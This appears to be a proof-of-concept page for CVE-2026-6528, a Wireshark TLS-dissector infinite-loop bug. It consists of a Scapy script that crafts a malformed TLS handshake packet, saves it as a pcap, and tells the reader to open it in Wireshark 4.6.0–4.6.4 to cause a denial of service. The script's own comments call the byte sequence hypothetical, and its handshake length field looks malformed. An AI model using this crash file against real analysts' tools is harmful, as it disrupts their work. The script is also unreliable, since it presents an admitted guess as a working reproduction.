CVE-2026-6528 Wireshark TLS协议解析器无限循环漏洞

# Proof of Concept for CVE-2026-6528 (Wireshark Infinite Loop) # This script generates a malformed TLS packet intended to trigger the infinite loop. # Note: The specific malformed byte sequence is hypothetical based on the generic description. from scapy.all import * # Craft a TCP packet ip = IP(dst="127.0.0.1") tcp = TCP(sport=12345, dport=443, flags="PA") # Hypothetical malformed TLS record header/data structure # that causes the parser to loop indefinitely. # Example: A TLS Handshake message with a malformed length field # that the parser tries to re-read incorrectly. malformed_tls_data = ( b'\x16' # Content Type: Handshake (22) b'\x03\x01' # TLS Version 1.0 b'\xff\xff' # Length: 65535 (Large length to potentially cause issues) b'\x01' # Handshake Type: ClientHello b'\x00\x00\xff\xff' # Length again b'A' * 100 # Payload ) pkt = ip/tcp/malformed_tls_data # Save to pcap wrpcap("cve_2026_6528_poc.pcap", [pkt]) print("PoC file generated: cve_2026_6528_poc.pcap") print("Open this file with Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")
